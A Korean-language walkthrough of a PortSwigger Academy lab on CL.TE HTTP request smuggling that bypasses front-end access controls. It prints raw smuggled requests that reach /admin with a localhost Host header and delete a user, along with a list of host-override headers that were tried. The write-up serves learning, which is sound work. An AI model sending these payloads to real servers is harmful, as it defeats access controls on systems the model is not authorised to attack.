개요
- HTTP Request Smuggling 취약점 문제이다.
- 문제 주소: https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-te
- 취약점 설명페이지1: https://portswigger.net/web-security/request-smuggling
- 취약점 설명페이지2: https://portswigger.net/web-security/request-smuggling/exploiting
- 난이도: PRACTITIONER (보통)
취약점 개요 - bypass front-end security controls
- Burp Academy 에서는 HTTP Request Smuggling을 탐지하는 단계를 세 단계로 나눠서 가르치고 있다.
- Indentifying과 Confirming, Exploiting이 그 것이다.
- Indentifying은 식별, Confirming은 확신정도로 이해하면 되겠다. Exploiting은 취약점을 악용하는 단계다.
- 이 문제부터는 Exploiting에 해당한다.
- Exploiting 중에서 프론트 엔드 서버에서만 접근 제어를 하는 경우를 생각할 수 있다. (백엔드 서버는 아무런 체크 없이 프론트엔드 서버를 믿고 프론트엔드 서버로 부터 받은 HTTP요청을 처리한다.)
- 프론트 엔드 서버만 잘 속이면 특정 권한만 접근할 수 있는 곳, 예를들면 관리자 기능에 접근하는 요청을 스머글링해서 접근제어를 우회할 수 있다.
- 예를 들면 다음과 같은 경우다. CL.TE 타입의 스머글링이 가능하다면 관리자 기능에 접근할 수 있다.
POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com
랩 개요
- 이 랩은 프론트 엔드 서버와 백엔드 서버로 구성되어 있다. 프론트 엔드서버는 chunked encoding(TE헤더)를 지원하지 않는다.
- 프론트엔드서버는 관리자가 아닌경우
/admin
에 접근하지 못하게 하는 접근 제어를 실시중이다. - 랩을 풀려면 백엔드 서버에게 HTTP요청을 밀반입해서, 관리자 패널(
/admin
)에 접근해 carlos 유저를 삭제하면 된다.
This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding. There's an admin panel at /admin, but the front-end server blocks access to it.
To solve the lab, smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos.
도전
- 다음 페이로드로 스머글링이 되는 것을 확인했다. 다만
HTTP/1.1 401 Unauthorized
응답이 돌아왔다. 페이지에는Admin interface only available to local users
가 쓰여있었다.
- Host헤더에 localhost를 지정하면 접근할 수 있을 것 같다. 그런데 스머글링할 요청에 Host헤더가 있으면 중복 헤더는 허용하지 않는다는 메세지가 돌아왔다.
- 호스트헤더 인젝션 취약점에서 배웠던 Host헤더와 비슷한 역할을 하는 다양한 다른 헤더를 시도해봤지만 여전히 401응답이었다.
X-Forwarded-Host: 127.0.0.1
Referer: 127.0.0.1
X-Host: 127.0.0.1
X-Forwarded-Server: 127.0.0.1
X-HTTP-Host-Override: 127.0.0.1
Forwarded: 127.0.0.1
X-Forwarded-For: 127.0.0.1
-
음… Host 헤더의 앞 뒤에
\r
이나\0
등을 넣어서도 해봤지만 안된다. 답을 본다. -
답을 보니 다음과 같이 스머글링 요청에 Content-Length 헤더와 바디부분이 있는 경우는 접근이 가능한 것을 알 수 있었다. (CL헤더 값이 0일 때는 안 동작한다.) 그런데 왜 동작하지는지는 모르겠다… CL헤더와 바디값이 추가된 것이 어떤 차이를 만들어낸 걸까?
POST / HTTP/1.1
Host: 0a9100540483340d858b121a00730099.web-security-academy.net
Cookie: session=Nj2JXsk6Y8Nzr8JMd2z0N18bLRglPmDs
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 5
x
- 아.. 이유를 알 것 같다. Host헤더의 중복여부를 판별하는 것은 백엔드 서버일 것이다.
백엔드 서버에서 보면 처리하는 요청이 첫번째 경우(공격 실패한 경우)는 이렇게 생겼을 것이다. (두번째 요청의 POST 부분이 합쳐져서 처리된다.) Host헤더가 두 개있으므로 중복되므로 백엔드 서버는 처리를 거부한다.
GET /admin HTTP/1.1
Host: localhostPOST / HTTP/1.1
Host: 0a9100540483340d858b121a00730099.web-security-academy.net
Cookie: session=Nj2JXsk6Y8Nzr8JMd2z0N18bLRglPmDs
...
성공하는 경우는 이렇게 생겼을 것이다. 스머글링 요청에 CL헤더와 바디부분이 있음으로 해서 POST 이후 부분이 HTTP요청의 바디로 처리된 것이다! 😲 Host헤더가 하나만 있으므로 백엔드 서버에서 정상적으로 처리된다.
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=1POST / HTTP/1.1
Host: 0a9100540483340d858b121a00730099.web-security-academy.net
Cookie: session=Nj2JXsk6Y8Nzr8JMd2z0N18bLRglPmDs
...
- carlos유저 삭제 요청(
/admin/delete?username=carlos
)을 스머글링요청에 지정해서 보내본다. 두번보내면 302응답(정상처리)을 확인할 수 있다.
- 풀이에 성공했다.